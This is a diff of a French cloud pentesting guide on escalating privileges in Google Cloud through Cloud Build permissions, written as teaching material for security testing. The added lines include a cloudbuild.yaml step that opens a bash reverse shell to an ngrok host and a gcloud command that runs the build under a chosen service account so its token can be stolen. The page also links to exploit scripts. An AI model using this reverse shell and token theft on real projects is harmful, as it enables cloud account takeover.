diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md index 57975f82e..70c204f67 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md @@ -12,18 +12,30 @@ Pour plus d'informations sur Cloud Build, consultez : ### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs` -Avec cette permission, vous pouvez **soumettre un cloud build**. La machine cloudbuild aura dans son système de fichiers par **défaut un token du Service Account cloudbuild** : `@cloudbuild.gserviceaccount.com`. Cependant, vous pouvez **indiquer n'importe quel service account à l'intérieur du projet** dans la configuration cloudbuild.\ -Par conséquent, vous pouvez simplement faire exfiltrer le token vers votre serveur ou **obtenir un reverse shell à l'intérieur et récupérer le token** (le fichier contenant le token peut changer). +Avec cette permission, vous pouvez **soumettre un cloud build**. La machine cloudbuild aura dans son système de fichiers par **défaut un token du Service Account cloudbuild** : `@cloudbuild.gserviceaccount.com`. Cependant, vous pouvez **indiquer n'importe quel compte de service à l'intérieur du projet** dans la configuration cloudbuild.\ +Par conséquent, vous pouvez simplement faire exfiltrer le token vers votre serveur ou **obtenir un shell inversé à l'intérieur et récupérer le token** (le fichier contenant le token peut changer). -Vous pouvez trouver le script d'exploitation original [**ici sur GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (mais l'emplacement d'où il prend le token n'a pas fonctionné pour moi). Par conséquent, consultez un script pour automatiser la [**création, l'exploitation et le nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) et un script python pour obtenir un reverse shell à l'intérieur de la machine cloudbuild et [**le voler ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (dans le code, vous pouvez trouver comment spécifier d'autres service accounts)**.** +#### Exploitation directe via gcloud CLI + +1- Créez `cloudbuild.yaml` et modifiez-le avec vos données d'écoute. +```yaml +steps: +- name: bash +script: | +#!/usr/bin/env bash +bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 +options: +logging: CLOUD_LOGGING_ONLY +``` +2- Téléchargez une build simple sans source, le fichier yaml et spécifiez le SA à utiliser pour la build : +```bash +gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com +``` +#### Utilisation de la bibliothèque python gcloud +Vous pouvez trouver le script d'exploitation original [**ici sur GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (mais l'emplacement d'où il prend le token n'a pas fonctionné pour moi). Par conséquent, vérifiez un script pour automatiser la [**création, l'exploitation et le nettoyage d'un environnement vulnérable ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) et un script python pour obtenir un shell inversé à l'intérieur de la machine cloudbuild et [**le voler ici**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (dans le code, vous pouvez trouver comment spécifier d'autres comptes de service)**.** Pour une explication plus approfondie, visitez [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) -### `cloudbuild.builds.update` - -**Potentiellement**, avec cette permission, vous serez en mesure de **mettre à jour un cloud build et simplement voler le token du service account** comme cela a été effectué avec la permission précédente (mais malheureusement, au moment de la rédaction de ce document, je n'ai pas pu trouver de moyen d'appeler cette API). - -TODO ### `cloudbuild.repositories.accessReadToken`